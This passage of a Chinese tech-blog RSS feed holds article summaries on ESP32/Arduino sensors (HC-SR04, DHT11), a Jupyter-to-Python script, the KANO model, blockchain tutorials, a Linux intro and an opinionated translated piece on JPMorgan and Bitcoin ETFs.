      <description>一、超声波测距原理 超声波测距模块可提供非接触式距离感测功能；模块包括超声波发射器、接收器和控制电路。其工作原理为当接收到信号后，发射器发出音速的超声波信号，信号在受到物品阻挡时会返回并被接收器检测到，当接收器检测信号返回；通过计算信号发送的时间与接收到信号的时间差，配合音速的速度值，计算出传感器与阻挡物体之间的距离。&#xA;其计算公式为:&#xA;距离 = 传播速度 X 时间 / 2&#xA;超声波在空气中的速度是固定的:340米/秒&#xA;时间为声波发出到接收到的时间差&#xA;除于2是因为声波需要往返传播&#xA;例如:&#xA;如果超声波从发射到接收的时间差为2秒，那距离可以计算为&#xA;距离 = 340 * 2 / 2 = 340&#xA;可以得出，中间的距离为340米&#xA;测距传感器与普通的接近开关和光电传感器有所不同。相比于电感式或电容式接近开关，测距传感器具有更长的检测距离，能够实现更远距离的检测。而与光电传感器相比，测距传感器可以应用于更恶劣的环境中，不受目标物的颜色以及空气中灰尘、水雾等因素的影响。超声波的传输速度容易受天气影响，在不同的天气条件下，超声波传输速度不同且较慢。当汽车高速行驶时，使用超声波进行测距无法及时跟踪车距的实时变化，从而导致较大误差。此外，超声波的散射角较大，方向性较差，在测量较远距离目标时，回波信号会较弱，影响测量精度。被测物体的面积不可以过小且平面尽量要求平整，否则会影响测量效果。然而，在短距离低速测量中，超声波传感器具有显著优势&#xA;二、HCSR-04超声波测距模块说明 HCSR04模块有4个引脚，对应分别是:&#xA;1、VCC电源正极&#xA;2、TRIG触发控制信号输入&#xA;3、ECHO回声信号输出&#xA;4、GND电源负极&#xA;三、安装库 在之前的文章中，我们介绍过如何安装第三方库，以及使用Arduion IDE自带的库管理器来安装第三方库，在这里，我们介绍另一种方法来安装第三方库。&#xA;本章中，我们所使用的是一个名为HCSR04-ultrasonic-sensor-lib by gamegine的第三方库，下载地址:GitHub - gamegine/HCSR04-ultrasonic-sensor-lib: Arduino lib for HCSR04 ultrasonic sensor&#xA;我们可以在页面里下载该库源代码:&#xA;下载时，记录好下载到的源代码文件所在的目录&#xA;我们在Arduion IDE里选择 &#34;项目=&amp;gt;加载库=&amp;gt;添加ZIP库 &#34;，在文件选择框里找到下载到的库源代码，是ZIP格式的压缩包文件。&#xA;安装完成后，我们可以在 &#34;项目=&amp;gt;加载库 &#34;里的菜单里看到:&#xA;点击后，会自动插入需要的头文件:&#xA;#include &amp;lt;HCSR04.h&amp;gt; 四、HCSR04-ultrasonic-sensor-lib by gamegine库的说明 该库本身是一个针对Arduino 库 HCSR04 传感器，但在ESP32上也可以应用。&#xA;这里我们选择4号引脚为触发控制信号输入(TRIG)，18号引脚为回声信号输出(ECHO)：&#xA;#define TRIGPIN 4 //TRIG #define ECHOPIN 18 //ECHO 我们还需要创建一个HCSR04对象:</description>
    </item>
    <item>
      <title>ESP32入门八(DHT温湿度传感器)</title>
      <link>https://bchobby.github.io/posts/620983e5559b7e47940a17ec4f7fc437/</link>
      <pubDate>Sun, 31 Dec 2023 15:25:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/620983e5559b7e47940a17ec4f7fc437/</guid>
      <description>在本章中，将介结DHT温湿度传感器的使用，本文中所使用的版本为DHT11。&#xA;传感器介绍 DHT11是一款有已校准数字信号输出的温湿度传感器。 精度湿度±5%RH， 温度±2℃，量程湿度5~95%RH， 温度-20~+60℃&#xA;图样：&#xA;以下为对应引脚定义:&#xA;pin&#xA;名称&#xA;注释&#xA;1&#xA;VDD&#xA;供电 3－5.5VDC&#xA;2&#xA;DATA&#xA;串行数据，单总线&#xA;3&#xA;NC&#xA;空脚&#xA;4&#xA;GND&#xA;接地，电源负极&#xA;因为量程问题，在大部份情况下，该传感器的工作范围主要集中在检测正常环境下的温湿度。如果需要测量更高的温度，可以选择比如NTC热敏电阻，或热电偶等传感器。&#xA;DHT使用单总线通信协议与ESP32进行通信，单总线协议是一种用于电子设备通信的简单、低成本和灵活性较高的协议。它使用一个共享的总线来传输数据和命令,并支持多个设备同时连接到总线上。我们现在不用详细去了解该协议的原理，因为已经有十分成熟的代码库可以让我们可以方便地获取DHT传感器的数据。&#xA;在之前的文章中，已经介绍过程序库的功能，在这里，我们会选择一个针对DHT所开发的库来实现与DHT的通信。我们选择的是一个名为DHT-sensor-library by adafruit的程序库，该库可以在Arduino IDE的库管理器里找到，也可以在这个地址下载:GitHub - adafruit/DHT-sensor-library: Arduino library for DHT11, DHT22, etc Temperature &amp;amp; Humidity Sensors&#xA;一、从Arduino IDE库管理器安装程序库 点击 项目=&amp;gt;加载库=&amp;gt;管理库，打开库管理器&#xA;在搜索框输入&#34;DHT sensor library&#34;搜索&#xA;找到该库，点击安装。&#xA;关闭库管理器，在 项目=&amp;gt;加载库 在菜单里就可以找到已经安装的库，找到该库&#xA;点击后，会在代码里自动插入该库所需要的头文件&#xA;二、DHT-sensor-library by adafruit库的说明 #include &amp;lt;DHT.h&amp;gt; #include &amp;lt;DHT_U.h&amp;gt; 插入头文件后，我们需要定义获取数据的引脚(4号引脚)和定义DHT的版本(DHT11 , DHT22 , DHT21)，本章中使用的版本为DHT11&#xA;#define DHTPIN 4 // 设置获取数据的引脚 // 对应DHT的版本，选择一个取消注释 #define DHTTYPE DHT11 // DHT 11 //#define DHTTYPE DHT22 // DHT 22 (AM2302), AM2321 //#define DHTTYPE DHT21 // DHT 21 (AM2301) 根据引脚 和 DHT版本，创建一个DHT对象</description>
    </item>
    <item>
      <title>将jupyter转换为python文件</title>
      <link>https://bchobby.github.io/posts/57883ab282a12035ca409f56b8e62fcf/</link>
      <pubDate>Sun, 31 Dec 2023 15:25:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/57883ab282a12035ca409f56b8e62fcf/</guid>
      <description>一直在思考是否可以将jupyter转化为python，一直都未尝试，但是最近在网上找了一些资料，尝试了一下。相应的代码如下：&#xA;# 简单的将jupyter转换为python文件 import argparse import os import subprocess def convert(input_path, output_path): subprocess.call([&#39;jupyter&#39;, &#39;nbconvert&#39;, &#39;--to&#39;, &#39;script&#39;, input_path, &#39;--output&#39;, output_path]) def cleanup(path): skip_lines_startwith = (&#39;Image(filename=&#39;, &#39;# In[&#39;, &#39;# &amp;lt;hr&amp;gt;&#39;, &#39;from IPython.display import Image&#39;, &#39;get_ipython()&#39;, &#39;# &amp;lt;br&amp;gt;&#39;) clean_content = [] imports = [] existing_imports = set() with open(path, &#39;r&#39;, encoding=&#34;utf8&#34;) as f: next(f) next(f) for line in f: line = line.rstrip(&#39; &#39;) if line.startswith(skip_lines_startwith): continue if line.startswith(&#39;import &#39;) or ( &#39;from &#39; in line and &#39;import &#39; in line): if &#39;from __future__ import print_function&#39; in line: if line !</description>
    </item>
    <item>
      <title>模型 KANO卡诺模型</title>
      <link>https://bchobby.github.io/posts/06d213bfd510941c9c232af4576e7992/</link>
      <pubDate>Sun, 31 Dec 2023 14:33:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/06d213bfd510941c9c232af4576e7992/</guid>
      <description>本系列文章 主要是 分享 思维模型，涉及各个领域，重在提升认知。需求分析。&#xA;1 卡诺模型的应用 1.1 餐厅需求分析故事 假设你经营一家餐厅，你想了解客户对你的服务质量的满意度。你可以使用卡诺模型来收集客户的反馈，并分析客户的需求和期望。&#xA;首先，你可以设计一份调查问卷，向客户询问以下问题：&#xA;你对我们餐厅的食物质量满意吗？你对我们餐厅的服务速度满意吗？你对我们餐厅的价格满意吗？你对我们餐厅的环境和氛围满意吗？ 然后，你可以将客户的回答分为以下类别：&#xA;基本需求：这些是客户认为必须满足的需求，如果这些需求没有得到满足，客户会非常不满意。期望需求：这些是客户期望得到满足的需求，如果这些需求得到满足，客户会感到满意。魅力需求：这些是客户没有期望得到满足的需求，但如果这些需求得到满足，客户会非常满意。 接下来，你可以使用卡诺模型来分析客户的反馈，并确定哪些需求是关键因素。你可以将客户的回答绘制在一个二维图表上，其中横轴表示满足程度，纵轴表示重要程度。&#xA;最后，你可以根据卡诺模型的分析结果，制定改进服务质量的计划。你可以优先满足客户的基本需求和期望需求，并考虑提供一些魅力需求，以提高客户的满意度。&#xA;注意：卡诺模型是一种定性分析工具，它不能代替定量分析。在使用卡诺模型时，你需要结合实际情况，进行合理的分析和判断。&#xA;1.2 电商平台需求分析故事 假设你经营一家电商平台，你想了解客户对你的服务质量的满意度。你可以使用卡诺模型来收集客户的反馈，并分析客户的需求和期望。&#xA;首先，你可以设计一份调查问卷，向客户询问以下问题：&#xA;你对我们网站的页面加载速度满意吗？你对我们的商品搜索功能满意吗？你对我们的支付和物流服务满意吗？你对我们的客户服务质量满意吗？ 然后，你可以将客户的回答分为以下类别：&#xA;基本需求：这些是客户认为必须满足的需求，如果这些需求没有得到满足，客户会非常不满意。期望需求：这些是客户期望得到满足的需求，如果这些需求得到满足，客户会感到满意。魅力需求：这些是客户没有期望得到满足的需求，但如果这些需求得到满足，客户会非常满意。 接下来，你可以使用卡诺模型来分析客户的反馈，并确定哪些需求是关键因素。你可以将客户的回答绘制在一个二维图表上，其中横轴表示满足程度，纵轴表示重要程度。&#xA;最后，你可以根据卡诺模型的分析结果，制定改进服务质量的计划。你可以优先满足客户的基本需求和期望需求，并考虑提供一些魅力需求，以提高客户的满意度。&#xA;1.3 酒店经营需求分析 假设你经营一家酒店，你想了解客户对你的服务质量的满意度。你可以使用卡诺模型来收集客户的反馈，并分析客户的需求和期望。&#xA;首先，你可以设计一份调查问卷，向客户询问以下问题：&#xA;你对我们酒店的客房干净整洁程度满意吗？你对我们酒店的员工服务态度满意吗？你对我们酒店的餐饮质量满意吗？你对我们酒店的地理位置和周边环境满意吗？ 然后，你可以将客户的回答分为以下类别：&#xA;基本需求：这些是客户认为必须满足的需求，如果这些需求没有得到满足，客户会非常不满意。期望需求：这些是客户期望得到满足的需求，如果这些需求得到满足，客户会感到满意。魅力需求：这些是客户没有期望得到满足的需求，但如果这些需求得到满足，客户会非常满意。 接下来，你可以使用卡诺模型来分析客户的反馈，并确定哪些需求是关键因素。你可以将客户的回答绘制在一个二维图表上，其中横轴表示满足程度，纵轴表示重要程度。&#xA;最后，你可以根据卡诺模型的分析结果，制定改进服务质量的计划。你可以优先满足客户的基本需求和期望需求，并考虑提供一些魅力需求，以提高客户的满意度。&#xA;2 模型 KANO（卡诺）模型 2.1 KANO模型简介 KANO 模型是东京理工大学教授狩野纪昭(Noriaki Kano)发明的对用户需求分类和优先排序的有用工具，以分析用户需求对用户满意的影响为基础，体现了产品性能和用户满意之间的非线性关系。&#xA;根据不同类型的质量特性与顾客满意度之间的关系，狩野教授将产品服务的质量特性分为五类：&#xA;基本（必备）型质量：Must-be Quality/ Basic Quality期望（意愿）型质量：One-dimensional Quality/ Performance Quality兴奋（魅力）型质量：Attractive Quality/ Excitement Quality无差异型质量:Indifferent Quality/Neutral Quality反向（逆向）型质量:Reverse Quality，亦可以将 &#39;Quality&#39; 翻译成“质量”或“品质”。 说明：这里的前三种需求根据绩效指标分类就是基本因素、绩效因素和激励因素。&#xA;2.2 KANO模型使用 那么如何使用kano模型来实现一个完整的需求确定流程呢？&#xA;@1 设计 KANO 评价问卷。&#xA;针对需求X1 做评价需求，如下表所示：&#xA;需求X1 评价需求等级-2等级-1等级0等级1等级2 正向问题：如果满足了此项需求，你感觉如何？</description>
    </item>
    <item>
      <title>[2024区块链开发入门指引] - 推荐一份区块链基础教程</title>
      <link>https://bchobby.github.io/posts/c2f234c7708e266fa6cab3ec0cf20aca/</link>
      <pubDate>Sun, 31 Dec 2023 14:27:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c2f234c7708e266fa6cab3ec0cf20aca/</guid>
      <description>一份为小白用户准备的免费区块链基础教程&#xA;工欲善其事,必先利其器 Web3开发中，各种工具、教程、社区、语言框架.。。。&#xA;种类繁多，是否有一个包罗万象的工具专注与Web3开发和相关资讯能毕其功于一役？&#xA;参见另一篇博文👉 2024最全面且有知识深度的web3开发工具、web3学习项目资源平台&#xA;区块链是一项令人兴奋和有前途的技术，你也许看到过这些频繁在社交媒体、新闻频道上冒出的新名词：智能合约、代币（通证）、Web3、DeFi、DAO 组织。&#xA;如果你还不是很明白他们的意思，这份免费区块链基础教程就是为你（小白们）准备的。&#xA;这份教程目前包含 7 篇文章：&#xA;第1篇：比特币与区块链诞生&#xA;在中本聪之前，几位大师对数字货币的探索，中本聪结合前人的探索及工作量证明的加入，诞生出第一个去中心化的数字货币：比特币， 第1篇文章将将了解比特币的基本原理和概念，包括区块、交易、挖矿等&#xA;第2篇：比特币运行原理&#xA;详细介绍了比特币的工作原理，包括去中心化、共识机制、区块链结构等。第2篇让我们将了解到如何发起交易，交易如何打包上链。&#xA;第3篇：区块链技术整体概述&#xA;什么是区块链，为什么它是一种革命性的技术，第3篇介绍在比特币之后，区块链技术的发展，在智能合约引入之后，区块链的能力大大增强。不同的团队在探索使用各种不同的共识机制来扩展区块链的性能&#xA;第4篇：不同类型的区块链&#xA;第4篇探讨了不同类型的区块链，包括公有链、私有链和联盟链等，他们各自的特点是什么。&#xA;第5篇：区块链不同的层次&#xA;由于区块链本身受不可能三角限制，开发人员考虑将更多的计算转移到链下，因此区块链出现了分层发展的趋势。第5篇介绍了比特币的闪电网络以及以太坊的 Rollup。&#xA;第6篇：Web3 与存储协议&#xA;区块链催生了新形态的应用，我们称之为 Web3 应用，Web3应用的特点是用户自己控制所有权。&#xA;去中心化存储协议也是Web3 应用重要的组成部分。&#xA;第7篇：区块链应用场景&#xA;区块链到底有什么用，第7篇给出了一些广泛的应用场景， 如在跨境支付/结算、资产数字化等金融服务，数字存证/防伪，NFT/数字艺术品，游戏等领域都可能产生颠覆性的影响，还催生了全新 DAO 组织这样全新的合作形态。</description>
    </item>
    <item>
      <title>2024区块链测试币水龙头大全</title>
      <link>https://bchobby.github.io/posts/ff5fdba28627e2e386e848e6c8d5f237/</link>
      <pubDate>Sun, 31 Dec 2023 13:48:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ff5fdba28627e2e386e848e6c8d5f237/</guid>
      <description>最近区块链各大测试网例如 Goerli、Kovan 都要关闭了，加上之前的 Rinkeby、Ropsten 和测试网络，现在开发测试很麻烦，尤其是测试比的获取，有没有稳定的获取测试币且不关闭的区块链测试开发薅羊毛资源呢?&#xA;工欲善其事,必先利其器 Web3开发中，各种工具、教程、社区、语言框架.。。。&#xA;种类繁多，是否有一个包罗万象的工具专注与Web3开发和相关资讯能毕其功于一役？&#xA;参见另一篇博文👉 2024最全面且有知识深度的web3开发工具、web3学习项目资源平台&#xA;水龙头（Faucet）是一个平台，为你提供测试币（或 Token ），以便在测试智能合约时使用。&#xA;https://web3x.world/sites/1369.html</description>
    </item>
    <item>
      <title>基于虚拟机ubuntu的linux和shell脚本的学习,以及SSH远程登陆实战</title>
      <link>https://bchobby.github.io/posts/17f845110b71869ca79a9e65f22e4dbf/</link>
      <pubDate>Sun, 31 Dec 2023 13:39:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/17f845110b71869ca79a9e65f22e4dbf/</guid>
      <description>简介 特点 是一款操作系统,跟windows,macos一样,有下面的特点&#xA;简单和高效,一切皆文件,所有配置都通过修改文件解决,不需要繁琐的权限和设置&#xA;权限高,把所有细节都交给用户,可完全自定义&#xA;安全,所有程序只有自己执行才会启动&#xA;分类 1、debian系主要有Debian，Ubuntu，Mint等；&#xA;2、redhat系主要有RedHat，Fedora，CentOs等，&#xA;3、其它有Slackware，Gentoo，Arch linux，LFS，SUSE等。&#xA;4、如果开发用，推荐redhat系，业内公司的服务器多用centos，考虑到平时使用，那么就选择fedora，可以选择最新的发行版。&#xA;5、如果简单用加开发，可以选择debian系，推ubuntu，mint。&#xA;6、如果是技术狂型，那么就推荐Gentoo，Arch linux，LFS，Slackware等&#xA;下面教程以ubuntu为例&#xA;安装 虚拟机 在阿里云或清华镜像网站下载到iso,学习时最好使用desktop版&#xA;在vmware直接创建典型,跟着操作&#xA;安装时最好选英文,一定要记住设置的密码,如000000,防止时间太久忘记,当然,忘记了也可以去搜索对应解决方法&#xA;WSL2 这个只是命令行,方便学习命令,日常使用建议还是虚拟机安装桌面版&#xA;下载wsl2内核更新包,然后直接安装&#xA;然后设置wsl2为默认&#xA;wsl --set-default-version 2 然后微软商店下载所需要的发行版安装如ubuntu&#xA;安装完成后就可以在cmd中输入wsl直接进入了&#xA;shell&amp;amp;terminal shell是一种应用程序,帮助用户和操作系统交互&#xA;terminal是一个交互界面,用于获取输入,交给shell执行,将输出展示在终端&#xA;而应用程序按是否有图形化界面分两种:&#xA;CLI(Command Line Interface)和GUI(Graphical User Interface)&#xA;即命令行和图形界面&#xA;Shell是一类程序,有CLI形式(如sh,bash,zsh;cmd,powershell等),也可以有GUI形式的(如Windows资源管理器explorer.exe等)&#xA;文件系统 目录结构 linux哲学 : 一切皆文件&#xA;执行ls / 查看根目录得到下面结果&#xA;按树状目录&#xA;目录按找功能大致分为&#xA;通用数据 /bin Binaries,系统的二进制文件,存放着常用的命令,二进制文件由操作系统直接执行 /lib Library,存放动态链接库,类似windows中的dll /var variable,习惯将那些经常被修改的目录放在这个目录下。包括各种日志文件。 /srv server, 该目录存放一些服务启动之后需要提取的数据 /usr unix shared resources,共享资源,大部分程序和文件都存在这里面,常用如下 /usr/src /usr/bin /usr/sbin 分别是源码,普通用户的二进制文件,超级用户的二进制文件 /opt optional,可选目录,默认为空 /tmp temporary,存放一些临时文件 /lost+found,当系统非法关机后,这里就存放了一些文件 用户数据 /home 普通用户 /root 超级用户 操作系统 /boot linux启动时的一些连接文件以及镜像文件 /dev device,存放Linux 的外部设备,在Linux中访问设备的方式和访问文件的方式是相同的 /etc 存放所有的系统管理所需要的配置文件和子目录 /media 系统自动识别一些设备,例如U盘,光驱等等.</description>
    </item>
    <item>
      <title>【雕爷学编程】Arduino月球基地之监测月球表面的温度变化</title>
      <link>https://bchobby.github.io/posts/626e27a37c88c7fc0640a3969dc65b29/</link>
      <pubDate>Sun, 31 Dec 2023 13:23:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/626e27a37c88c7fc0640a3969dc65b29/</guid>
      <description>Arduino是一个开放源码的电子原型平台，它可以让你用简单的硬件和软件来创建各种互动的项目。Arduino的核心是一个微控制器板，它可以通过一系列的引脚来连接各种传感器、执行器、显示器等外部设备。Arduino的编程是基于C/C++语言的，你可以使用Arduino IDE（集成开发环境）来编写、编译和上传代码到Arduino板上。Arduino还有一个丰富的库和社区，你可以利用它们来扩展Arduino的功能和学习Arduino的知识。&#xA;Arduino的特点是：&#xA;1、开放源码：Arduino的硬件和软件都是开放源码的，你可以自由地修改、复制和分享它们。&#xA;2、易用：Arduino的硬件和软件都是为初学者和非专业人士设计的，你可以轻松地上手和使用它们。&#xA;3、便宜：Arduino的硬件和软件都是非常经济的，你可以用很低的成本来实现你的想法。&#xA;4、多样：Arduino有多种型号和版本，你可以根据你的需要和喜好来选择合适的Arduino板。&#xA;5、创新：Arduino可以让你用电子的方式来表达你的创意和想象，你可以用Arduino来制作各种有趣和有用的项目，如机器人、智能家居、艺术装置等。&#xA;Arduino月球基地场景的主要特点：&#xA;1、模拟月球环境：Arduino月球基地场景通过使用适当的材料和技术，可以模拟月球表面的特殊环境，如低重力、极端温度、有限资源等。这样的模拟环境可以提供更真实的学习和实践体验，帮助学生更好地理解和应对未来月球探索任务中可能面临的挑战。&#xA;2、多学科交叉应用：Arduino月球基地场景涉及多个学科领域的知识和技能，如电子工程、计算机编程、机械设计等。学生可以在实践中将这些学科进行有机结合，培养跨学科思维和解决问题的能力。&#xA;3、实践性和互动性：通过使用Arduino智能展板和其他设备，学生可以进行实际的设计、构建和控制操作。他们能够亲自动手实践，编写代码、搭建电路、测试传感器等，从而增强实践能力和技术应用水平。&#xA;4、创新性和个性化：Arduino月球基地场景鼓励学生的创造力和创新思维。他们可以自主设计和改进各种设备和系统，实现个性化的功能和解决方案，从而培养创新精神和独立思考能力。&#xA;Arduino月球基地场景的核心优势：&#xA;1、低成本和易用性：Arduino开发平台具有相对较低的成本，并且易于学习和使用。它提供了简单而强大的编程工具和硬件模块，使学生能够快速入门，并进行各种实践活动。&#xA;2、开放性和社区支持：Arduino是一个开放源代码的平台，拥有庞大的用户社区和资源库。学生可以从社区中获取丰富的教程、示例代码和项目案例，与其他用户交流经验，加速学习和创新过程。&#xA;3、可扩展性和灵活性：Arduino平台可以与各种传感器、执行器和其他扩展模块进行集成，以满足不同实训需求。学生可以根据具体要求进行系统扩展和定制，实现更复杂的功能和应用。&#xA;Arduino月球基地场景的局限性：&#xA;1、硬件限制：Arduino平台的硬件资源有限，例如处理器速度、存储容量和输入输出接口等。这可能限制了一些复杂任务和高性能应用的实现。&#xA;2、专业性和深度：尽管Arduino平台提供了广泛的学习和实践机会，但在某些专业领域的深度学习和研究方面可能存在局限性。对于一些更复杂的科学实验和工程项目，可能需要更专业的硬件平台和软件工具。&#xA;3、环境模拟的限制：尽管Arduino月球基地场景可以模拟月球环境的某些特征，但在实现完全准确的模拟方面仍然存在局限性。例如，无法完全模拟月球的真实重力和气候条件。&#xA;综上所述，Arduino月球基地场景具有模拟月球环境、多学科交叉应用、实践性和互动性的特点。其核心优势在于低成本易用、开放性社区支持和可扩展性，可以满足学生的学习和实践需求。然而，Arduino平台的硬件限制、专业性和深度方面的局限性，以及环境模拟的限制，可能对某些复杂任务和专业应用造成一定的限制。因此，在设计和实施Arduino月球基地场景时，需要根据实际需求和目标权衡这些局限性，并结合其他适当的教学工具和资源，以提供更全面和深入的学习体验。&#xA;Arduino月球基地监测月球表面温度变化是一个有趣而实用的应用。下面我将从主要特点、应用场景和需要注意的事项三个方面详细解释。&#xA;主要特点：&#xA;温度传感器：Arduino月球基地可以使用各种类型的温度传感器，例如热敏电阻、热电偶或数字温度传感器等。这些传感器可以测量月球表面的温度，并将其转换为数字信号，以便Arduino进行处理和分析。&#xA;精度和稳定性：温度传感器通常具有较高的精度和稳定性，能够在极端温度环境下准确测量月球表面的温度变化。这对于科学研究和环境监测非常重要。&#xA;数据采集和分析：Arduino可以通过与温度传感器的连接，实时采集月球表面的温度数据。通过数据处理和分析，可以获得温度变化的趋势、周期性以及与其他因素（如太阳辐射）的关联性等信息。&#xA;应用场景：&#xA;空间探索：在月球基地或其他空间探索任务中，监测月球表面的温度变化可以提供重要的科学数据。这些数据有助于研究月球的温度分布、季节变化以及地质特征等，进一步了解月球的气候和环境。&#xA;太阳能利用：月球表面的温度变化可以影响太阳能利用的效率。通过监测温度变化，可以优化太阳能电池板的布置和调整，以最大限度地利用太阳能资源。&#xA;环境监测：月球基地或其他月球任务中，温度变化也是环境监测的重要指标之一。通过监测月球表面的温度变化，可以了解月球的热环境、温度波动以及可能影响基地或设备性能的因素。&#xA;需要注意的事项：&#xA;温度传感器的选择：选择适合月球表面环境的温度传感器至关重要。传感器应具有较高的温度范围、合适的精度和稳定性，并能适应月球的低压环境和极端温度条件。&#xA;电源管理：在月球基地中，电源是一项重要的考虑因素。由于月球上的太阳能资源丰富，可以考虑利用太阳能为Arduino供电，以减少对电池的依赖。&#xA;数据传输和存储：月球基地的通信和数据传输可能存在一定的限制。因此，在设计监测系统时，需要考虑数据传输的可靠性和存储的容量，以确保温度数据能够准确地传输和存储。&#xA;环境校准：在进行温度测量之前，需要进行环境校准以消除传感器误差。可以通过在已知温度条件下进行校准，或者使用多个传感器进行比较校准来提高测量精度。&#xA;总结起来，通过使用合适的温度传感器和Arduino进行监测，可以实时获取月球表面的温度变化数据。这对于空间探索、太阳能利用和环境监测等应用具有重要意义。然而，在实际应用中需要注意传感器选择、电源管理、数据传输和存储以及环境校准等方面的问题，以确保监测系统的准确性和可靠性。&#xA;案例1：温度传感器读取&#xA;#define SENSOR_PIN A0 void setup() { Serial.begin(9600); pinMode(SENSOR_PIN, INPUT); } void loop() { int sensorValue = analogRead(SENSOR_PIN); // 将模拟读数转换为温度 float temperature = sensorValue * 0.48875; // 假设传感器为LM35、10mV/°C Serial.print(&#34;Temperature: &#34;); Serial.print(temperature); Serial.println(&#34; °C&#34;</description>
    </item>
    <item>
      <title>戏精摩根大通：从唱空比特币到牵手贝莱德</title>
      <link>https://bchobby.github.io/posts/dbdd5150944c74a590da6969ef10bc90/</link>
      <pubDate>Sun, 31 Dec 2023 13:20:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dbdd5150944c74a590da6969ef10bc90/</guid>
      <description>作者：Tyler Durden@Zerohedge&#xA;编译：秦晋 碳链价值&#xA;还记得杰米-戴蒙（Jamie Dimon）大喊大叫说比特币「最终会爆炸的骗局」，「如果他是政府，他就会关闭比特币」，加密货币的唯一「真正用途是犯罪、贩毒、洗钱和避税」吗？&#xA;事实证明，这家已经支付400亿美元罚款、罚金和法律赔偿的银行，作为一家惯犯犯罪企业，已经决定按照自己的定义加倍打击犯罪...&#xA;今天我们得知，不是一家，而是两家巨型资产管理公司—景顺Invesco以及全球最大的资产管理公司和美联储自己的交易平台贝莱德--都指定摩根大通为他们的授权参与者，即中介公司，ETF首先可以通过将比特币转换成现金来实现，反之亦然。&#xA;除了摩根大通，贝莱德还指定Jane Street Capital--山姆-班克曼-弗里德（Sam Bankman-Fried）就是在这家基金公司学到了关于比特币市场高频交易的所有知识，从而成为史上最伟大的加密货币罪犯--作为经纪商，负责在其现货比特币ETF于1月份获得美国证券交易委员会（SEC）批准后引导现金进出。&#xA;根据周五晚些时候提交给美国证券交易委员会的修订招股说明书，摩根大通将成为贝莱德iShares比特币现货ETF和Invesco Galaxy比特币ETF的授权参与者。因此，他们将负责处理ETF一篮子股票的创建与赎回，以及基金管理人之间的现金转账。&#xA;或者，正如我们所说....&#xA;除了贝莱德，华尔街的ETF巨头，如景顺（Invesco）、富兰克林邓普顿（Franklin Templeton）和 富达（Fidelity）也申请了现货比特币ETF，灰度投资（Grayscale Investments）也申请将其 Grayscale比特币信托基金转换为ETF。预计所有这些申请都将在未来几周内获得批准。&#xA;顺便提一下，这很可能是由于摩根大通坚持美国证券交易委员会要求比特币 ETF 采用现金创建赎回模式，而不是实物赎回。据彭博社记者埃里克-巴尔丘纳斯（Eric Balchunas）称，美国证券交易委员会之所以倾向于比特币ETF现货的现金模式，是希望在赎回和发行过程中，尽量减少接触到实际比特币的中介机构数量。&#xA;他们不喜欢经纪商作为接触比特币的中介机构，Balchunas指出。这位ETF分析师说：许多人打算创建未注册的子公司，以取代实际的经纪商，但美国证券交易委员会不希望这样做。&#xA;美国证券交易委员会希望「再闭环一些」，Balchunas 说，他还听说监管机构担心洗钱问题。&#xA;他说：如果只有贝莱德（BlackRock）和Coinbase在处理实际的比特币，那么你所拥有的比特币的可控性就会更强一些。他们只是想要一个更加封闭的系统，减少接触实际比特币的中介机构。&#xA;当然，如果摩根大通银行（在过去15年中已被罚款400亿美元）协助洗钱，那么一切都好说。&#xA;虽然到目前为止，摩根大通已被指定为其中两只ETF的AP（经纪商），但Jane Street Capital似乎是几乎所有这些 ETF 的 AP，这意味着，在未来几年里，Jane Street Capital将做所有ETF订单的前置运行，如果山姆-班克曼-弗里德（Sam Bankman-Fried）留在Jane Street Capital，他很可能会成为万亿富翁，而且是完全合法的。&#xA;至于像下面这位愚蠢的农民，几周前还兴高采烈地宣称，在她愚蠢的反加密货币运动中，连银行首席执行官都站在了她这一边......&#xA;玩笑开到《Pocahontas》身上了..&#xA;碳链价值注：《Pocahontas》是一部由华特迪士尼于1995年制作并发行的动画电影。它首次的上映日期是1995年6月16日。波卡洪塔斯（Pocahontas，即片中的宝嘉康蒂）的真名是Matoaka ，波卡洪塔斯其实是她的绰号，意思为嬉戏的、顽皮的。&#xA;另据路透社报道，截至周五下午晚些时候，贝莱德资产管理公司、VanEck、Valkyrie Investments、Bitwise Investment Advisers、Invesco Ltd. 、富国基金管理公司、富达（Fidelity）、WisdomTree Investments以及Ark Investments和21Shares 的合资企业都向监管机构提交了新文件，详细说明各自与做市商为确保交易流动性和效率所做的安排。&#xA;熟悉申报流程的人士表示，在年底申报修订截止日期前完成申报的发行商可能会在1月10日前推出Ark/21Shares ETF，美国证券交易委员会必须在这一日期前批准或否决Ark/21Shares ETF。&#xA;上述消息人士表示，鉴于讨论的保密性质，证交会可能最快在周二或周三通知发行商，他们已获准在下周推出产品。&#xA;今年以来，比特币价格上涨一倍多，略低于42,000美元，部分原因是人们预期美国证券交易委员会将很快批准现货比特币ETF。&#xA;如果监管机构选择批准现货比特币ETF，他们最早可能在下周通知发行商。&#xA;Valkyrie还在文件中披露，如果美国证券交易委员会在新年伊始批准这些产品，它将对ETF征收0.80%管理费。Ark和21Shares此前曾透露，它们拟对自己的ETF收取同样的费用。&#xA;富达智源比特币基金（Fidelity Wise Origin Bitcoin Fund）有望成为最便宜基金，收费仅为0.39%。&#xA;Invesco公司宣布计划收取0.59%的费用，但在提交的文件中补充说，它将对新基金吸引的前50亿美元资产免收6个月费用。&#xA;目前，共有14家资产管理公司希望最终获得美国证券交易委员会（SEC）对现货比特币ETF的批准。在过去十年中，美国证券监管机构曾多次拒绝发行这类产品，理由是担心市场被操纵，以及潜在发行人无力保护投资者。迄今为止，唯一获批的加密货币ETF与芝加哥商品交易所交易的比特币和以太坊期货合约挂钩。&#xA;Grayscale Investments和Hashdex都希望将现有产品转化为现货比特币ETF，它们在本月早些时候提交了自己的更新。</description>
    </item>
    <item>
      <title>【雕爷学编程】Arduino月球基地之使用巡线传感器进行路径规划的月球车</title>
      <link>https://bchobby.github.io/posts/6d81ef876cca8209192a3485b51b8fdc/</link>
      <pubDate>Sun, 31 Dec 2023 13:16:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6d81ef876cca8209192a3485b51b8fdc/</guid>
